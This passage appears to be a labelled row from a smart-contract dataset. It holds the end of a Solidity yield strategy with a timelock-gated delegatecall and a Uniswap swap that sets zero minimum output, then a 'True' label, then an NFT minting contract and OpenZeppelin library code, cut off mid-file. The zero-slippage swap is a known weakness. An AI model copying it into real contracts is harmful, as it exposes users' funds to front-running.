);
}
deposit();
}
}
// Emergency function call
function execute(address _target, bytes memory _data)
public
payable
returns (bytes memory response)
{
require(msg.sender == timelock, "!timelock");
require(_target != address(0), "!target");
// call contract in current context
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
0
)
let size := returndatasize()
response := mload(0x40)
mstore(
0x40,
add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))
)
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
}
// **** Internal functions ****
function _swap(
address _from,
address _to,
uint256 _amount
) internal {
// Swap with uniswap
IERC20(_from).safeApprove(univ2Router2, 0);
IERC20(_from).safeApprove(univ2Router2, _amount);
address[] memory path;
if (_from == weth || _to == weth) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = weth;
path[2] = _to;
}
UniswapRouterV2(univ2Router2).swapExactTokensForTokens(
_amount,
0,
path,
address(this),
now.add(60)
);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract HookahSheikhsTSN is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721(_tokenName, _tokenSymbol) {
cost = _cost;
maxSupply = _maxSupply;
maxMintAmountPerTx = _maxMintAmountPerTx;
setHiddenMetadataUri(_hiddenMetadataUri);
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
modifier mintPriceCompliance(uint256 _mintAmount) {
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
// Verify whitelist requirements
require(whitelistMintEnabled, "The whitelist sale is not enabled!");
require(!whitelistClaimed[msg.sender], "Address already claimed!");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!");
whitelistClaimed[msg.sender] = true;
_mintLoop(msg.sender, _mintAmount);
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
whitelistMintEnabled = _state;
}
function withdraw() public onlyOwner nonReentrant {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
